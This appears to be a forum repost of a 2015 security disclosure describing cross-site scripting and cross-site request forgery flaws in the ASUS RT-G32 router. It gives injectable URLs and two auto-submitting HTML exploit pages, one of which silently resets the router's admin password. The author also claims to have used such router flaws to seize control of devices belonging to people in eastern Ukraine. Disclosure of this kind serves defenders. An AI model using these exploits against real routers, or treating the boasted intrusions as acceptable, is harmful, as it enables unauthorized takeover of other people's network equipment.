Jump to content
Aerosol

ASUS RT-G32 Cross Site Request Forgery / Cross Site Scripting

Recommended Posts

Posted

Hello list!

There are Cross-Site Scripting and Cross-Site Request Forgery
vulnerabilities in ASUS Wireless Router RT-G32.

-------------------------
Affected products:
-------------------------

Vulnerable is the next model: ASUS RT-G32 with different versions of
firmware. I checked in ASUS RT-G32 with firmware versions 2.0.2.6 and
2.0.3.2.

----------
Details:
----------

Cross-Site Scripting (WASC-08):

http://site/start_apply.htm?next_page=%27%2balert(document.cookie)%2b%27

http://site/start_apply.htm?group_id=%27%2balert(document.cookie)%2b%27

http://site/start_apply.htm?action_script=%27%2balert%28document.cookie%29%2b%27

http://site/start_apply.htm?flag=%27%2balert%28document.cookie%29%2b%27

These vulnerabilities work as via GET, as via POST (work even without
authorization).

ASUS RT-G32 XSS-1.html

<html>
<head>
<title>ASUS RT-G32 XSS exploit (C) 2015 MustLive</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/start_apply.htm" method="post">
<input type="hidden" name="next_page" value="'+alert(document.cookie)+'">
<input type="hidden" name="group_id" value="'+alert(document.cookie)+'">
<input type="hidden" name="action_script"
value="'+alert(document.cookie)+'">
<input type="hidden" name="flag" value="'+alert(document.cookie)+'">
</form>
</body>
</html>

Cross-Site Request Forgery (WASC-09):

CSRF vulnerability allows to change different settings, including admin's
password. As I showed in this exploit (post-auth).

ASUS RT-G32 CSRF-1.html

<html>
<head>
<title>ASUS RT-G32 CSRF exploit (C) 2015 MustLive</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/start_apply.htm" method="post">
<input type="hidden" name="http_passwd" value="admin">
<input type="hidden" name="http_passwd2" value="admin">
<input type="hidden" name="v_password2" value="admin">
<input type="hidden" name="action_mode" value="+Apply+">
</form>
</body>
</html>

I found this and other routers since summer to take control over terrorists
in Crimea, Donetsk & Lugansks regions of Ukraine. Read about it in the list
(http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2015-February/009077.html)
and in many my interviews
(http://www.thedailybeast.com/articles/2015/02/18/ukraine-s-lonely-cyber-warrior.html).

I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/7644/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

Source

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...